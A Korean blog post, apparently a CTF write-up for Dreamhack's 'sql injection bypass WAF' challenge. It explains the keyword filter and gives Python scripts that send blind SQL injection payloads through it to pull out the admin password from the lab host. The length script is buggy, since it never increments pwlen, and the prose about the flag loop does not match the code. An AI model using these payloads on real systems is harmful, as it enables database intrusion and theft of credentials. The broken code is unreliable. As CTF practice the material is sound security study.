김승현
[Dreamhack : Web] sql injection bypass WAF 본문
문제
방화벽 우회 문제다.
풀이
접속하면 이렇게 뜨는 걸 볼 수 있다. 아무거나 입력해보자
hello를 입력했더니 {uid}가 hello로 바꼈다. 이번엔 guest를 입력해보자.
guest로 바뀌면서 가운데 guest라고 표시가 생겼다.
init.sql과 소스코드는 분석은 강의에 있으니까 그냥 중요해 보이는 것만 가져오겠습니다!
keywords 변수에 union, select, from, admin... 등등을 저장하고 저장된 문자열들을 check_WAF함수를 통해서
포함된다면 True를 없다면 False를 반환한다.
그리고 포함되어있다면 true이기 때문에 if문이 실행됨녀서 WAF로 차단이 되며 종료가 되고
포함되지 않았다면 SELECT * FROM use WHERE uid='[uid변수]';를 정상적으로 실행하게 된다.
길이를 알아내는 코드
import requests
url="http://host3.dreamhack.games:8352/"
cnt = 0
pwlen=0
while(True):
cnt+=1
param={'uid':f"'||(length(upw))like({pwlen})#"}
if 'admin' in requests.get(url,params=param).text:
break
print(f"length of password : {pwlen}")
flag를 알아내는 코드
어차피 1부터 3까지 flag는 DH{이기 때문에 4부터 반복문이 실행되게 만들었다.
이었는데..중간에 접속이 끊겨서 그냥 깔끔하게 보이게 1부터 시작해서 그냥 했다...
import requests
url="http://host3.dreamhack.games:8352/"
pw=""
for i in range(4,45):
for j in range(0,127):
param={'uid':f"'||(ascii(substr(upw,{i},1)))like({j})#"}
if 'admin' in requests.get(url,params=param).text:
pw+=chr(j)
print(f"pw={pw}")
break
print(f"flag = {pw}")
'Web > Dreamhack : Web' 카테고리의 다른 글
[Dreamhack : Web] NoSQL-CouchDB (0) | 2023.02.25 |
---|---|
[Dreamhack : Web] sql injection bypass WAF advanced (0) | 2023.02.24 |
[Dreamhack : Web] blind sql injection advanced (0) | 2023.02.24 |
[Dreamhack : Web] error based sql injection (0) | 2023.02.24 |
[Dreamhack : Web] blind-command (0) | 2023.02.23 |